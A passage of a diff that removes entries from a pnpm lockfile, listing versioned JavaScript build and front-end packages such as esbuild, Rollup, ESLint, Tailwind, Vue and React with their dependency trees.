- supports-color - - '@babel/types@7.27.0': - dependencies: - '@babel/helper-string-parser': 7.25.9 - '@babel/helper-validator-identifier': 7.25.9 - - '@babel/types@7.28.5': - dependencies: - '@babel/helper-string-parser': 7.27.1 - '@babel/helper-validator-identifier': 7.28.5 - - '@docsearch/css@4.3.2': {} - - '@docsearch/js@4.3.2': - dependencies: - htm: 3.1.1 - - '@esbuild/aix-ppc64@0.25.3': - optional: true - - '@esbuild/android-arm64@0.25.3': - optional: true - - '@esbuild/android-arm@0.25.3': - optional: true - - '@esbuild/android-x64@0.25.3': - optional: true - - '@esbuild/darwin-arm64@0.25.3': - optional: true - - '@esbuild/darwin-x64@0.25.3': - optional: true - - '@esbuild/freebsd-arm64@0.25.3': - optional: true - - '@esbuild/freebsd-x64@0.25.3': - optional: true - - '@esbuild/linux-arm64@0.25.3': - optional: true - - '@esbuild/linux-arm@0.25.3': - optional: true - - '@esbuild/linux-ia32@0.25.3': - optional: true - - '@esbuild/linux-loong64@0.25.3': - optional: true - - '@esbuild/linux-mips64el@0.25.3': - optional: true - - '@esbuild/linux-ppc64@0.25.3': - optional: true - - '@esbuild/linux-riscv64@0.25.3': - optional: true - - '@esbuild/linux-s390x@0.25.3': - optional: true - - '@esbuild/linux-x64@0.25.3': - optional: true - - '@esbuild/netbsd-arm64@0.25.3': - optional: true - - '@esbuild/netbsd-x64@0.25.3': - optional: true - - '@esbuild/openbsd-arm64@0.25.3': - optional: true - - '@esbuild/openbsd-x64@0.25.3': - optional: true - - '@esbuild/sunos-x64@0.25.3': - optional: true - - '@esbuild/win32-arm64@0.25.3': - optional: true - - '@esbuild/win32-ia32@0.25.3': - optional: true - - '@esbuild/win32-x64@0.25.3': - optional: true - - '@eslint-community/eslint-utils@4.6.1(eslint@9.25.1(jiti@2.6.1))': - dependencies: - eslint: 9.25.1(jiti@2.6.1) - eslint-visitor-keys: 3.4.3 - - '@eslint-community/regexpp@4.12.1': {} - - '@eslint/config-array@0.20.0': - dependencies: - '@eslint/object-schema': 2.1.6 - debug: 4.4.0 - minimatch: 3.1.2 - transitivePeerDependencies: - - supports-color - - '@eslint/config-helpers@0.2.1': {} - - '@eslint/core@0.13.0': - dependencies: - '@types/json-schema': 7.0.15 - - '@eslint/eslintrc@3.3.1': - dependencies: - ajv: 6.12.6 - debug: 4.4.0 - espree: 10.3.0 - globals: 14.0.0 - ignore: 5.3.2 - import-fresh: 3.3.1 - js-yaml: 4.1.0 - minimatch: 3.1.2 - strip-json-comments: 3.1.1 - transitivePeerDependencies: - - supports-color - - '@eslint/js@9.25.1': {} - - '@eslint/object-schema@2.1.6': {} - - '@eslint/plugin-kit@0.2.8': - dependencies: - '@eslint/core': 0.13.0 - levn: 0.4.1 - - '@humanfs/core@0.19.1': {} - - '@humanfs/node@0.16.6': - dependencies: - '@humanfs/core': 0.19.1 - '@humanwhocodes/retry': 0.3.1 - - '@humanwhocodes/module-importer@1.0.1': {} - - '@humanwhocodes/retry@0.3.1': {} - - '@humanwhocodes/retry@0.4.2': {} - - '@iconify-json/simple-icons@1.2.62': - dependencies: - '@iconify/types': 2.0.0 - - '@iconify/react@5.2.1(react@19.1.0)': - dependencies: - '@iconify/types': 2.0.0 - react: 19.1.0 - - '@iconify/types@2.0.0': {} - - '@jridgewell/gen-mapping@0.3.8': - dependencies: - '@jridgewell/set-array': 1.2.1 - '@jridgewell/sourcemap-codec': 1.5.5 - '@jridgewell/trace-mapping': 0.3.25 - - '@jridgewell/remapping@2.3.5': - dependencies: - '@jridgewell/gen-mapping': 0.3.8 - '@jridgewell/trace-mapping': 0.3.25 - - '@jridgewell/resolve-uri@3.1.2': {} - - '@jridgewell/set-array@1.2.1': {} - - '@jridgewell/sourcemap-codec@1.5.5': {} - - '@jridgewell/trace-mapping@0.3.25': - dependencies: - '@jridgewell/resolve-uri': 3.1.2 - '@jridgewell/sourcemap-codec': 1.5.5 - - '@rolldown/pluginutils@1.0.0-beta.53': {} - - '@rollup/rollup-android-arm-eabi@4.40.0': - optional: true - - '@rollup/rollup-android-arm-eabi@4.53.3': - optional: true - - '@rollup/rollup-android-arm64@4.40.0': - optional: true - - '@rollup/rollup-android-arm64@4.53.3': - optional: true - - '@rollup/rollup-darwin-arm64@4.40.0': - optional: true - - '@rollup/rollup-darwin-arm64@4.53.3': - optional: true - - '@rollup/rollup-darwin-x64@4.40.0': - optional: true - - '@rollup/rollup-darwin-x64@4.53.3': - optional: true - - '@rollup/rollup-freebsd-arm64@4.40.0': - optional: true - - '@rollup/rollup-freebsd-arm64@4.53.3': - optional: true - - '@rollup/rollup-freebsd-x64@4.40.0': - optional: true - - '@rollup/rollup-freebsd-x64@4.53.3': - optional: true - - '@rollup/rollup-linux-arm-gnueabihf@4.40.0': - optional: true - - '@rollup/rollup-linux-arm-gnueabihf@4.53.3': - optional: true - - '@rollup/rollup-linux-arm-musleabihf@4.40.0': - optional: true - - '@rollup/rollup-linux-arm-musleabihf@4.53.3': - optional: true - - '@rollup/rollup-linux-arm64-gnu@4.40.0': - optional: true - - '@rollup/rollup-linux-arm64-gnu@4.53.3': - optional: true - - '@rollup/rollup-linux-arm64-musl@4.40.0': - optional: true - - '@rollup/rollup-linux-arm64-musl@4.53.3': - optional: true - - '@rollup/rollup-linux-loong64-gnu@4.53.3': - optional: true - - '@rollup/rollup-linux-loongarch64-gnu@4.40.0': - optional: true - - '@rollup/rollup-linux-powerpc64le-gnu@4.40.0': - optional: true - - '@rollup/rollup-linux-ppc64-gnu@4.53.3': - optional: true - - '@rollup/rollup-linux-riscv64-gnu@4.40.0': - optional: true - - '@rollup/rollup-linux-riscv64-gnu@4.53.3': - optional: true - - '@rollup/rollup-linux-riscv64-musl@4.40.0': - optional: true - - '@rollup/rollup-linux-riscv64-musl@4.53.3': - optional: true - - '@rollup/rollup-linux-s390x-gnu@4.40.0': - optional: true - - '@rollup/rollup-linux-s390x-gnu@4.53.3': - optional: true - - '@rollup/rollup-linux-x64-gnu@4.40.0': - optional: true - - '@rollup/rollup-linux-x64-gnu@4.53.3': - optional: true - - '@rollup/rollup-linux-x64-musl@4.40.0': - optional: true - - '@rollup/rollup-linux-x64-musl@4.53.3': - optional: true - - '@rollup/rollup-openharmony-arm64@4.53.3': - optional: true - - '@rollup/rollup-win32-arm64-msvc@4.40.0': - optional: true - - '@rollup/rollup-win32-arm64-msvc@4.53.3': - optional: true - - '@rollup/rollup-win32-ia32-msvc@4.40.0': - optional: true - - '@rollup/rollup-win32-ia32-msvc@4.53.3': - optional: true - - '@rollup/rollup-win32-x64-gnu@4.53.3': - optional: true - - '@rollup/rollup-win32-x64-msvc@4.40.0': - optional: true - - '@rollup/rollup-win32-x64-msvc@4.53.3': - optional: true - - '@shikijs/core@3.20.0': - dependencies: - '@shikijs/types': 3.20.0 - '@shikijs/vscode-textmate': 10.0.2 - '@types/hast': 3.0.4 - hast-util-to-html: 9.0.5 - - '@shikijs/engine-javascript@3.20.0': - dependencies: - '@shikijs/types': 3.20.0 - '@shikijs/vscode-textmate': 10.0.2 - oniguruma-to-es: 4.3.4 - - '@shikijs/engine-oniguruma@3.20.0': - dependencies: - '@shikijs/types': 3.20.0 - '@shikijs/vscode-textmate': 10.0.2 - - '@shikijs/langs@3.20.0': - dependencies: - '@shikijs/types': 3.20.0 - - '@shikijs/themes@3.20.0': - dependencies: - '@shikijs/types': 3.20.0 - - '@shikijs/transformers@3.20.0': - dependencies: - '@shikijs/core': 3.20.0 - '@shikijs/types': 3.20.0 - - '@shikijs/types@3.20.0': - dependencies: - '@shikijs/vscode-textmate': 10.0.2 - '@types/hast': 3.0.4 - - '@shikijs/vscode-textmate@10.0.2': {} - - '@tailwindcss/node@4.2.2': - dependencies: - '@jridgewell/remapping': 2.3.5 - enhanced-resolve: 5.20.1 - jiti: 2.6.1 - lightningcss: 1.32.0 - magic-string: 0.30.21 - source-map-js: 1.2.1 - tailwindcss: 4.2.2 - - '@tailwindcss/oxide-android-arm64@4.2.2': - optional: true - - '@tailwindcss/oxide-darwin-arm64@4.2.2': - optional: true - - '@tailwindcss/oxide-darwin-x64@4.2.2': - optional: true - - '@tailwindcss/oxide-freebsd-x64@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-arm-gnueabihf@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-arm64-gnu@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-arm64-musl@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-x64-gnu@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-x64-musl@4.2.2': - optional: true - - '@tailwindcss/oxide-wasm32-wasi@4.2.2': - optional: true - - '@tailwindcss/oxide-win32-arm64-msvc@4.2.2': - optional: true - - '@tailwindcss/oxide-win32-x64-msvc@4.2.2': - optional: true - - '@tailwindcss/oxide@4.2.2': - optionalDependencies: - '@tailwindcss/oxide-android-arm64': 4.2.2 - '@tailwindcss/oxide-darwin-arm64': 4.2.2 - '@tailwindcss/oxide-darwin-x64': 4.2.2 - '@tailwindcss/oxide-freebsd-x64': 4.2.2 - '@tailwindcss/oxide-linux-arm-gnueabihf': 4.2.2 - '@tailwindcss/oxide-linux-arm64-gnu': 4.2.2 - '@tailwindcss/oxide-linux-arm64-musl': 4.2.2 - '@tailwindcss/oxide-linux-x64-gnu': 4.2.2 - '@tailwindcss/oxide-linux-x64-musl': 4.2.2 - '@tailwindcss/oxide-wasm32-wasi': 4.2.2 - '@tailwindcss/oxide-win32-arm64-msvc': 4.2.2 - '@tailwindcss/oxide-win32-x64-msvc': 4.2.2 - - '@tailwindcss/postcss@4.2.2': - dependencies: - '@alloc/quick-lru': 5.2.0 - '@tailwindcss/node': 4.2.2 - '@tailwindcss/oxide': 4.2.2 - postcss: 8.5.8 - tailwindcss: 4.2.2 - - '@types/babel__core@7.20.5': - dependencies: - '@babel/parser': 7.27.0 - '@babel/types': 7.27.0 - '@types/babel__generator': 7.27.0 - '@types/babel__template': 7.4.4 - '@types/babel__traverse': 7.20.7 - - '@types/babel__generator@7.27.0': - dependencies: - '@babel/types': 7.27.0 - - '@types/babel__template@7.4.4': - dependencies: - '@babel/parser': 7.27.0 - '@babel/types': 7.27.0 - - '@types/babel__traverse@7.20.7': - dependencies: - '@babel/types': 7.27.0 - - '@types/estree@1.0.7': {} - - '@types/estree@1.0.8': {} - - '@types/hast@3.0.4': - dependencies: - '@types/unist': 3.0.3 - - '@types/json-schema@7.0.15': {} - - '@types/linkify-it@5.0.0': {} - - '@types/markdown-it@14.1.2': - dependencies: - '@types/linkify-it': 5.0.0 - '@types/mdurl': 2.0.0 - - '@types/mdast@4.0.4': - dependencies: - '@types/unist': 3.0.3 - - '@types/mdurl@2.0.0': {} - - '@types/react-dom@19.1.2(@types/react@19.1.2)': - dependencies: - '@types/react': 19.1.2 - - '@types/react-dom@19.2.3(@types/react@19.2.14)': - dependencies: - '@types/react': 19.2.14 - - '@types/react@19.1.2': - dependencies: - csstype: 3.1.3 - - '@types/react@19.2.14': - dependencies: - csstype: 3.2.3 - - '@types/unist@3.0.3': {} - - '@types/web-bluetooth@0.0.21': {} - - '@ungap/structured-clone@1.3.0': {} - - '@vitejs/plugin-react@4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0))': - dependencies: - '@babel/core': 7.26.10 - '@babel/plugin-transform-react-jsx-self': 7.25.9(@babel/core@7.26.10) - '@babel/plugin-transform-react-jsx-source': 7.25.9(@babel/core@7.26.10) - '@types/babel__core': 7.20.5 - react-refresh: 0.17.0 - vite: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) - transitivePeerDependencies: - - supports-color - - '@vitejs/plugin-vue@6.0.3(vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0))(vue@3.5.25(typescript@5.9.3))': - dependencies: - '@rolldown/pluginutils': 1.0.0-beta.53 - vite: 7.2.7(jiti@2.6.1)(lightningcss@1.32.0) - vue: 3.5.25(typescript@5.9.3) - - '@vue/compiler-core@3.5.25': - dependencies: - '@babel/parser': 7.28.5 - '@vue/shared': 3.5.25 - entities: 4.5.0 - estree-walker: 2.0.2 - source-map-js: 1.2.1 - - '@vue/compiler-dom@3.5.25': - dependencies: - '@vue/compiler-core': 3.5.25 - '@vue/shared': 3.5.25 - - '@vue/compiler-sfc@3.5.25': - dependencies: - '@babel/parser': 7.28.5 - '@vue/compiler-core': 3.5.25 - '@vue/compiler-dom': 3.5.25 - '@vue/compiler-ssr': 3.5.25 - '@vue/shared': 3.5.25 - estree-walker: 2.0.2 - magic-string: 0.30.21 - postcss: 8.5.8 - source-map-js: 1.2.1 - - '@vue/compiler-ssr@3.5.25': - dependencies: - '@vue/compiler-dom': 3.5.25 - '@vue/shared': 3.5.25 - - '@vue/devtools-api@8.0.5': - dependencies: - '@vue/devtools-kit': 8.0.5 - - '@vue/devtools-kit@8.0.5': - dependencies: - '@vue/devtools-shared': 8.0.5 - birpc: 2.9.0 - hookable: 5.5.3 - mitt: 3.0.1 - perfect-debounce: 2.0.0 - speakingurl: 14.0.1 - superjson: 2.2.6 - - '@vue/devtools-shared@8.0.5': - dependencies: - rfdc: 1.4.1 - - '@vue/reactivity@3.5.25': - dependencies: - '@vue/shared': 3.5.25 - - '@vue/runtime-core@3.5.25': - dependencies: - '@vue/reactivity': 3.5.25 - '@vue/shared': 3.5.25 - - '@vue/runtime-dom@3.5.25': - dependencies: - '@vue/reactivity': 3.5.25 - '@vue/runtime-core': 3.5.25 - '@vue/shared': 3.5.25 - csstype: 3.1.3 - - '@vue/server-renderer@3.5.25(vue@3.5.25(typescript@5.9.3))': - dependencies: - '@vue/compiler-ssr': 3.5.25 - '@vue/shared': 3.5.25 - vue: 3.5.25(typescript@5.9.3) - - '@vue/shared@3.5.25': {} - - '@vueuse/core@14.1.0(vue@3.5.25(typescript@5.9.3))': - dependencies: - '@types/web-bluetooth': 0.0.21 - '@vueuse/metadata': 14.1.0 - '@vueuse/shared': 14.1.0(vue@3.5.25(typescript@5.9.3)) - vue: 3.5.25(typescript@5.9.3) - - '@vueuse/integrations@14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25(typescript@5.9.3))': - dependencies: - '@vueuse/core': 14.1.0(vue@3.5.25(typescript@5.9.3)) - '@vueuse/shared': 14.1.0(vue@3.5.25(typescript@5.9.3)) - vue: 3.5.25(typescript@5.9.3) - optionalDependencies: - axios: 1.11.0 - focus-trap: 7.6.6 - - '@vueuse/metadata@14.1.0': {} - - '@vueuse/shared@14.1.0(vue@3.5.25(typescript@5.9.3))': - dependencies: - vue: 3.5.25(typescript@5.9.3) - - acorn-jsx@5.3.2(acorn@8.14.1): - dependencies: - acorn: 8.14.1 - - acorn@8.14.1: {} - - ajv@6.12.6: - dependencies: - fast-deep-equal: 3.1.3 - fast-json-stable-stringify: 2.1.0 - json-schema-traverse: 0.4.1 - uri-js: 4.4.1 - - ansi-styles@4.3.0: - dependencies: - color-convert: 2.0.1 - - argparse@2.0.1: {} - - asynckit@0.4.0: {} - - autoprefixer@10.4.27(postcss@8.5.8): - dependencies: - browserslist: 4.28.1 - caniuse-lite: 1.0.30001780 - fraction.js: 5.3.4 - picocolors: 1.1.1 - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - axios@1.11.0: - dependencies: - follow-redirects: 1.15.11 - form-data: 4.0.5 - proxy-from-env: 1.1.0 - transitivePeerDependencies: - - debug - - balanced-match@1.0.2: {} - - baseline-browser-mapping@2.10.9: {} - - birpc@2.9.0: {} - - brace-expansion@1.1.11: - dependencies: - balanced-match: 1.0.2 - concat-map: 0.0.1 - - browserslist@4.24.4: - dependencies: - caniuse-lite: 1.0.30001780 - electron-to-chromium: 1.5.141 - node-releases: 2.0.19 - update-browserslist-db: 1.1.3(browserslist@4.24.4) - - browserslist@4.28.1: - dependencies: - baseline-browser-mapping: 2.10.9 - caniuse-lite: 1.0.30001780 - electron-to-chromium: 1.5.321 - node-releases: 2.0.36 - update-browserslist-db: 1.2.3(browserslist@4.28.1) - - call-bind-apply-helpers@1.0.2: - dependencies: - es-errors: 1.3.0 - function-bind: 1.1.2 - - callsites@3.1.0: {} - - caniuse-lite@1.0.30001780: {} - - ccount@2.0.1: {} - - chalk@4.1.2: - dependencies: - ansi-styles: 4.3.0 - supports-color: 7.2.0 - - character-entities-html4@2.1.0: {} - - character-entities-legacy@3.0.0: {} - - color-convert@2.0.1: - dependencies: - color-name: 1.1.4 - - color-name@1.1.4: {} - - combined-stream@1.0.8: - dependencies: - delayed-stream: 1.0.0 - - comma-separated-tokens@2.0.3: {} - - concat-map@0.0.1: {} - - convert-source-map@2.0.0: {} - - copy-anything@4.0.5: - dependencies: - is-what: 5.5.0 - - cross-spawn@7.0.6: - dependencies: - path-key: 3.1.1 - shebang-command: 2.0.0 - which: 2.0.2 - - csstype@3.1.3: {} - - csstype@3.2.3: {} - - debug@4.4.0: - dependencies: - ms: 2.1.3 - - deep-is@0.1.4: {} - - delayed-stream@1.0.0: {} - - dequal@2.0.3: {} - - detect-libc@2.1.2: {} - - devlop@1.1.0: - dependencies: - dequal: 2.0.3 - - dunder-proto@1.0.1: - dependencies: - call-bind-apply-helpers: 1.0.2 - es-errors: 1.3.0 - gopd: 1.2.0 - - electron-to-chromium@1.5.141: {} - - electron-to-chromium@1.5.321: {} - - enhanced-resolve@5.20.1: - dependencies: - graceful-fs: 4.2.11 - tapable: 2.3.0 - - entities@4.5.0: {} - - es-define-property@1.0.1: {} - - es-errors@1.3.0: {} - - es-object-atoms@1.1.1: - dependencies: - es-errors: 1.3.0 - - es-set-tostringtag@2.1.0: - dependencies: - es-errors: 1.3.0 - get-intrinsic: 1.3.0 - has-tostringtag: 1.0.2 - hasown: 2.0.2 - - esbuild@0.25.3: - optionalDependencies: - '@esbuild/aix-ppc64': 0.25.3 - '@esbuild/android-arm': 0.25.3 - '@esbuild/android-arm64': 0.25.3 - '@esbuild/android-x64': 0.25.3 - '@esbuild/darwin-arm64': 0.25.3 - '@esbuild/darwin-x64': 0.25.3 - '@esbuild/freebsd-arm64': 0.25.3 - '@esbuild/freebsd-x64': 0.25.3 - '@esbuild/linux-arm': 0.25.3 - '@esbuild/linux-arm64': 0.25.3 - '@esbuild/linux-ia32': 0.25.3 - '@esbuild/linux-loong64': 0.25.3 - '@esbuild/linux-mips64el': 0.25.3 - '@esbuild/linux-ppc64': 0.25.3 - '@esbuild/linux-riscv64': 0.25.3 - '@esbuild/linux-s390x': 0.25.3 - '@esbuild/linux-x64': 0.25.3 - '@esbuild/netbsd-arm64': 0.25.3 - '@esbuild/netbsd-x64': 0.25.3 - '@esbuild/openbsd-arm64': 0.25.3 - '@esbuild/openbsd-x64': 0.25.3 - '@esbuild/sunos-x64': 0.25.3 - '@esbuild/win32-arm64': 0.25.3 - '@esbuild/win32-ia32': 0.25.3 - '@esbuild/win32-x64': 0.25.3 - - escalade@3.2.0: {} - - escape-string-regexp@4.0.0: {} - - eslint-plugin-react-hooks@5.2.0(eslint@9.25.1(jiti@2.6.1)): - dependencies: - eslint: 9.25.1(jiti@2.6.1) - - eslint-plugin-react-refresh@0.4.20(eslint@9.25.1(jiti@2.6.1)): - dependencies: - eslint: 9.25.1(jiti@2.6.1) - - eslint-scope@8.3.0: - dependencies: - esrecurse: 4.3.0 - estraverse: 5.3.0 - - eslint-visitor-keys@3.4.3: {} - - eslint-visitor-keys@4.2.0: {} - - eslint@9.25.1(jiti@2.6.1): - dependencies: - '@eslint-community/eslint-utils': 4.6.1(eslint@9.25.1(jiti@2.6.1)) - '@eslint-community/regexpp': 4.12.1 - '@eslint/config-array': 0.20.0 - '@eslint/config-helpers': 0.2.1 - '@eslint/core': 0.13.0 - '@eslint/eslintrc': 3.3.1 - '@eslint/js': 9.25.1 - '@eslint/plugin-kit': 0.2.8 - '@humanfs/node': 0.16.6 - '@humanwhocodes/module-importer': 1.0.1 - '@humanwhocodes/retry': 0.4.2 - '@types/estree': 1.0.7 - '@types/json-schema': 7.0.15 - ajv: 6.12.6 - chalk: 4.1.2 - cross-spawn: 7.0.6 - debug: 4.4.0 - escape-string-regexp: 4.0.0 - eslint-scope: 8.3.0 - eslint-visitor-keys: 4.2.0 - espree: 10.3.0 - esquery: 1.6.0 - esutils: 2.0.3 - fast-deep-equal: 3.1.3 - file-entry-cache: 8.0.0 - find-up: 5.0.0 - glob-parent: 6.0.2 - ignore: 5.3.2 - imurmurhash: 0.1.4 - is-glob: 4.0.3 - json-stable-stringify-without-jsonify: 1.0.1 - lodash.merge: 4.6.2 - minimatch: 3.1.2 - natural-compare: 1.4.0 - optionator: 0.9.4 - optionalDependencies: - jiti: 2.6.1 - transitivePeerDependencies: - - supports-color - - espree@10.3.0: - dependencies: - acorn: 8.14.1 - acorn-jsx: 5.3.2(acorn@8.14.1) - eslint-visitor-keys: 4.2.0 - - esquery@1.6.0: - dependencies: - estraverse: 5.3.0 - - esrecurse@4.3.0: - dependencies: - estraverse: 5.3.0 - - estraverse@5.3.0: {} - - estree-walker@2.0.2: {} - - esutils@2.0.3: {} - - fast-deep-equal@3.1.3: {} - - fast-json-stable-stringify@2.1.0: {} - - fast-levenshtein@2.0.6: {} - - fdir@6.4.4(picomatch@4.0.2): - optionalDependencies: - picomatch: 4.0.2 - - fdir@6.5.0(picomatch@4.0.3): - optionalDependencies: - picomatch: 4.0.3 - - file-entry-cache@8.0.0: - dependencies: - flat-cache: 4.0.1 - - find-up@5.0.0: - dependencies: - locate-path: 6.0.0 - path-exists: 4.0.0 - - flat-cache@4.0.1: - dependencies: - flatted: 3.3.3 - keyv: 4.5.4 - - flatted@3.3.3: {} - - focus-trap@7.6.6: - dependencies: - tabbable: 6.3.0 - - follow-redirects@1.15.11: {} - - form-data@4.0.5: - dependencies: - asynckit: 0.4.0 - combined-stream: 1.0.8 - es-set-tostringtag: 2.1.0 - hasown: 2.0.2 - mime-types: 2.1.35 - - fraction.js@5.3.4: {} - - fsevents@2.3.3: - optional: true - - function-bind@1.1.2: {} - - gensync@1.0.0-beta.2: {} - - get-intrinsic@1.3.0: - dependencies: - call-bind-apply-helpers: 1.0.2 - es-define-property: 1.0.1 - es-errors: 1.3.0 - es-object-atoms: 1.1.1 - function-bind: 1.1.2 - get-proto: 1.0.1 - gopd: 1.2.0 - has-symbols: 1.1.0 - hasown: 2.0.2 - math-intrinsics: 1.1.0 - - get-proto@1.0.1: - dependencies: - dunder-proto: 1.0.1 - es-object-atoms: 1.1.1 - - glob-parent@6.0.2: - dependencies: - is-glob: 4.0.3 - - globals@11.12.0: {} - - globals@14.0.0: {} - - globals@16.0.0: {} - - gopd@1.2.0: {} - - graceful-fs@4.2.11: {} - - has-flag@4.0.0: {} - - has-symbols@1.1.0: {} - - has-tostringtag@1.0.2: - dependencies: - has-symbols: 1.1.0 - - hasown@2.0.2: - dependencies: - function-bind: 1.1.2 - - hast-util-to-html@9.0.5: - dependencies: - '@types/hast': 3.0.4 - '@types/unist': 3.0.3 - ccount: 2.0.1 - comma-separated-tokens: 2.0.3 - hast-util-whitespace: 3.0.0 - html-void-elements: 3.0.0 - mdast-util-to-hast: 13.2.1 - property-information: 7.1.0 - space-separated-tokens: 2.0.2 - stringify-entities: 4.0.4 - zwitch: 2.0.4 - - hast-util-whitespace@3.0.0: - dependencies: - '@types/hast': 3.0.4 - - hookable@5.5.3: {} - - htm@3.1.1: {} - - html-void-elements@3.0.0: {} - - ignore@5.3.2: {} - - import-fresh@3.3.1: - dependencies: - parent-module: 1.0.1 - resolve-from: 4.0.0 - - imurmurhash@0.1.4: {} - - is-extglob@2.1.1: {} - - is-glob@4.0.3: - dependencies: - is-extglob: 2.1.1 - - is-what@5.5.0: {} - - isexe@2.0.0: {} - - jiti@2.6.1: {} - - js-tokens@4.0.0: {} - - js-yaml@4.1.0: - dependencies: - argparse: 2.0.1 - - jsesc@3.1.0: {} - - json-buffer@3.0.1: {} - - json-schema-traverse@0.4.1: {} - - json-stable-stringify-without-jsonify@1.0.1: {} - - json5@2.2.3: {} - - keyv@4.5.4: - dependencies: - json-buffer: 3.0.1 - - levn@0.4.1: - dependencies: - prelude-ls: 1.2.1 - type-check: 0.4.0 - - lightningcss-android-arm64@1.32.0: - optional: true - - lightningcss-darwin-arm64@1.32.0: - optional: true - - lightningcss-darwin-x64@1.32.0: - optional: true - - lightningcss-freebsd-x64@1.32.0: - optional: true - - lightningcss-linux-arm-gnueabihf@1.32.0: - optional: true - - lightningcss-linux-arm64-gnu@1.32.0: - optional: true - - lightningcss-linux-arm64-musl@1.32.0: - optional: true - - lightningcss-linux-x64-gnu@1.32.0: - optional: true - - lightningcss-linux-x64-musl@1.32.0: - optional: true - - lightningcss-win32-arm64-msvc@1.32.0: - optional: true - - lightningcss-win32-x64-msvc@1.32.0: - optional: true - - lightningcss@1.32.0: - dependencies: - detect-libc: 2.1.2 - optionalDependencies: - lightningcss-android-arm64: 1.32.0 - lightningcss-darwin-arm64: 1.32.0 - lightningcss-darwin-x64: 1.32.0 - lightningcss-freebsd-x64: 1.32.0 - lightningcss-linux-arm-gnueabihf: 1.32.0 - lightningcss-linux-arm64-gnu: 1.32.0 - lightningcss-linux-arm64-musl: 1.32.0 - lightningcss-linux-x64-gnu: 1.32.0 - lightningcss-linux-x64-musl: 1.32.0 - lightningcss-win32-arm64-msvc: 1.32.0 - lightningcss-win32-x64-msvc: 1.32.0 - - locate-path@6.0.0: - dependencies: - p-locate: 5.0.0 - - lodash.merge@4.6.2: {} - - lru-cache@5.1.1: - dependencies: - yallist: 3.1.1 - - magic-string@0.30.21: - dependencies: - '@jridgewell/sourcemap-codec': 1.5.5 - - mark.js@8.11.1: {} - - math-intrinsics@1.1.0: {} - - mdast-util-to-hast@13.2.1: - dependencies: - '@types/hast': 3.0.4 - '@types/mdast': 4.0.4 - '@ungap/structured-clone': 1.3.0 - devlop: 1.1.0 - micromark-util-sanitize-uri: 2.0.1 - trim-lines: 3.0.1 - unist-util-position: 5.0.0 - unist-util-visit: 5.0.0 - vfile: 6.0.3 - - micromark-util-character@2.1.1: - dependencies: - micromark-util-symbol: 2.0.1 - micromark-util-types: 2.0.2 - - micromark-util-encode@2.0.1: {} - - micromark-util-sanitize-uri@2.0.1: - dependencies: - micromark-util-character: 2.1.1 - micromark-util-encode: 2.0.1 - micromark-util-symbol: 2.0.1 - - micromark-util-symbol@2.0.1: {} - - micromark-util-types@2.0.2: {} - - mime-db@1.52.0: {} - - mime-types@2.1.35: - dependencies: - mime-db: 1.52.0 - - minimatch@3.1.2: - dependencies: - brace-expansion: 1.1.11 - - minisearch@7.2.0: {} - - mitt@3.0.1: {} - - ms@2.1.3: {} - - nanoid@3.3.11: {} - - natural-compare@1.4.0: {} - - node-releases@2.0.19: {} - - node-releases@2.0.36: {} - - oniguruma-parser@0.12.1: {} - - oniguruma-to-es@4.3.4: - dependencies: - oniguruma-parser: 0.12.1 - regex: 6.1.0 - regex-recursion: 6.0.2 - - optionator@0.9.4: - dependencies: - deep-is: 0.1.4 - fast-levenshtein: 2.0.6 - levn: 0.4.1 - prelude-ls: 1.2.1 - type-check: 0.4.0 - word-wrap: 1.2.5 - - p-limit@3.1.0: - dependencies: - yocto-queue: 0.1.0 - - p-locate@5.0.0: - dependencies: - p-limit: 3.1.0 - - parent-module@1.0.1: - dependencies: - callsites: 3.1.0 - - path-exists@4.0.0: {} - - path-key@3.1.1: {} - - perfect-debounce@2.0.0: {} - - picocolors@1.1.1: {} - - picomatch@4.0.2: {} - - picomatch@4.0.3: {} - - postcss-value-parser@4.2.0: {} - - postcss@8.5.8: - dependencies: - nanoid: 3.3.11 - picocolors: 1.1.1 - source-map-js: 1.2.1 - - prelude-ls@1.2.1: {} - - property-information@7.1.0: {} - - proxy-from-env@1.1.0: {} - - punycode@2.3.1: {} - - react-dom@19.1.0(react@19.1.0): - dependencies: - react: 19.1.0 - scheduler: 0.26.0 - - react-refresh@0.17.0: {} - - react@19.1.0: {} - - regex-recursion@6.0.2: - dependencies: - regex-utilities: 2.3.0 - - regex-utilities@2.3.0: {} - - regex@6.1.0: - dependencies: - regex-utilities: 2.3.0 - - resolve-from@4.0.0: {} - - rfdc@1.4.1: {} - - rollup@4.40.0: - dependencies: - '@types/estree': 1.0.7 - optionalDependencies: - '@rollup/rollup-android-arm-eabi': 4.40.0 - '@rollup/rollup-android-arm64': 4.40.0 - '@rollup/rollup-darwin-arm64': 4.40.0 - '@rollup/rollup-darwin-x64': 4.40.0 - '@rollup/rollup-freebsd-arm64': 4.40.0 - '@rollup/rollup-freebsd-x64': 4.40.0 - '@rollup/rollup-linux-arm-gnueabihf': 4.40.0 - '@rollup/rollup-linux-arm-musleabihf': 4.40.0 - '@rollup/rollup-linux-arm64-gnu': 4.40.0 - '@rollup/rollup-linux-arm64-musl': 4.40.0 - '@rollup/rollup-linux-loongarch64-gnu': 4.40.0 - '@rollup/rollup-linux-powerpc64le-gnu': 4.40.0 - '@rollup/rollup-linux-riscv64-gnu': 4.40.0 - '@rollup/rollup-linux-riscv64-musl': 4.40.0 - '@rollup/rollup-linux-s390x-gnu': 4.40.0 - '@rollup/rollup-linux-x64-gnu': 4.40.0 - '@rollup/rollup-linux-x64-musl': 4.40.0 - '@rollup/rollup-win32-arm64-msvc': 4.40.0 - '@rollup/rollup-win32-ia32-msvc': 4.40.0 - '@rollup/rollup-win32-x64-msvc': 4.40.0 - fsevents: 2.3.3 - - rollup@4.53.3: - dependencies: - '@types/estree': 1.0.8 - optionalDependencies: - '@rollup/rollup-android-arm-eabi': 4.53.3 - '@rollup/rollup-android-arm64': 4.53.3 - '@rollup/rollup-darwin-arm64': 4.53.3 - '@rollup/rollup-darwin-x64': 4.53.3 - '@rollup/rollup-freebsd-arm64': 4.53.3 - 